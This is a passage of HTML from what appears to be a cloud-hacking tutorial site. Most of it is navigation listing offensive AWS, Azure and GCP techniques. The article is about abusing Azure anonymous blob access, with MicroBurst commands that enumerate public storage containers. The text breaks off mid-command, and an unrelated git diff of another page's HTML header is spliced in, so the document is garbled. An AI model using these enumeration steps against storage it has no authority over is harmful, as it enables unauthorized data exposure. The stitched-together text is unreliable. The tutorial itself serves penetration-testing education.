class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../aws/deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3 checked> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=true> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Anonymous Blob Access </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Anonymous Blob Access </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#exploiting-anonymous-blob-access class=md-nav__link> <span class=md-ellipsis> Exploiting Anonymous Blob Access </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#exploiting-anonymous-blob-access class=md-nav__link> <span class=md-ellipsis> Exploiting Anonymous Blob Access </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by andrei8055</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/azure/anonymous-blob-access.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Anonymous Blob Access</h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 4a4 4 0 0 1 4 4 4 4 0 0 1-4 4 4 4 0 0 1-4-4 4 4 0 0 1 4-4m0 10c4.42 0 8 1.79 8 4v2H4v-2c0-2.21 3.58-4 8-4"/></svg></span> <strong>Original Research</strong></p> <hr> <p><a href=https://0xpwn.wordpress.com/2022/03/05/setting-up-an-azure-pentest-lab-part-1-anonymous-blob-access/ >Create an Azure Vulnerable Lab: Part #1 – Anonymous Blob Access</a> by <a href=https://tripla.dk/author/drag0nus/ >Andrei Agape</a></p> </li> </ul> </div> <p>"Storage Accounts" is the service provided by Azure to store data in the cloud. A storage account can used to store:</p> <ul> <li>Blobs</li> <li>File shares</li> <li>Tables</li> <li>Queues</li> <li>VM disks</li> </ul> <p><a class=glightbox href=../../images/azure/anonyous-blob-access/Azure%20Storage%20Types.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Azure Storage Account" src=../../images/azure/anonyous-blob-access/Azure%20Storage%20Types.png></a></p> <p>For this tutorial, we will focus on the Blobs section. Blobs are stored within a container, and we can have multiple containers within a storage account. When we create a container, Azure will ask on the permissions that we grant for public access. We can chose between:</p> <ul> <li>Private Access – no anonymous access is allowed</li> <li>Blob Access – we can access the blobs anonymously, as long as we know the full URL (container name + blob name)</li> <li>Container Access – we can access the blobs anonymously, as long we know the container name (directory listing is enabled, and we can see all the files stored inside the container)</li> </ul> <p>As you might have guessed, granting Container Access permission can be easily abused to download all the files stored within the container without any permissions as the only things required to be known are the storage account name and the container name, both of which can be enumerated with wordlists.</p> <h2 id=exploiting-anonymous-blob-access>Exploiting Anonymous Blob Access<a class=headerlink href=#exploiting-anonymous-blob-access title="Permanent link">&para;</a></h2> <p>Now, there are thousands of articles explaining how this can be abused and how to search for insecure storage in Azure, but to make things easier I’ll do a TL:DR. One of the easiest way is to use MicroBurst, provide the storage account name to search for, and it’ll check if the containers exists based on a wordlist saved in the Misc/permutations.txt:</p> <div class=highlight><pre><span></span><code>PS &gt; import-module .\MicroBurst.psm1
 PS&gt; Invoke-EnumerateAzureBlobs -Base 0xpwnstorageacc
 Found Storage Account - 0xpwnstorageacc.blob.core.windows.net
 Found Container - 0xpwnstorageacc.blob.core.windows.net/public
diff --git a/azure/enum_email_addresses/index.html b/azure/enum_email_addresses/index.html
index 0fa2e6411..90f90c83c 100644
--- a/azure/enum_email_addresses/index.html
+++ b/azure/enum_email_addresses/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Discover how to exploit information disclosure configurations in Azure Active Directory to enumerate valid email addresses."><link href=https://hackingthe.cloud/azure/enum_email_addresses/ rel=canonical><link href=../anonymous-blob-access/ rel=prev><link href=../run-command-abuse/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../feed_rss_updated.xml><link rel=icon href=../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Unauthenticated Enumeration of Azure Active Directory Email Addresses - Hacking The Cloud</title><link rel=stylesheet href=../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../stylesheets/extra.css><script>__md_scope=new URL("../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Unauthenticated Enumeration of Azure Active Directory Email Addresses - Hacking The Cloud"><meta property=og:description content="Discover how to exploit information disclosure configurations in Azure Active Directory to enumerate valid email addresses."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/azure/enum_email_addresses.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/azure/enum_email_addresses/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Unauthenticated Enumeration of Azure Active Directory Email Addresses - Hacking The Cloud"><meta property=twitter:description content="Discover how to exploit information disclosure configurations in Azure Active Directory to enumerate valid email addresses."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/azure/enum_email_addresses.png> <link href="../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Discover how to exploit information disclosure configurations in Azure Active Directory to enumerate valid email addresses."><link href=https://hackingthe.cloud/azure/enum_email_addresses/ rel=canonical><link href=../anonymous-blob-access/ rel=prev><link href=../run-command-abuse/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../feed_rss_updated.xml><link rel=icon href=../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Unauthenticated Enumeration of Azure Active Directory Email Addresses - Hacking The Cloud</title><link rel=stylesheet href=../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../stylesheets/extra.css><script>__md_scope=new URL("../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Unauthenticated Enumeration of Azure Active Directory Email Addresses - Hacking The Cloud"><meta property=og:description content="Discover how to exploit information disclosure configurations in Azure Active Directory to enumerate valid email addresses."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/azure/enum_email_addresses.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/azure/enum_email_addresses/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Unauthenticated Enumeration of Azure Active Directory Email Addresses - Hacking The Cloud"><meta property=twitter:description content="Discover how to exploit information disclosure configurations in Azure Active Directory to enumerate valid email addresses."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/azure/enum_email_addresses.png> <link href="../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,6 +7,6 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
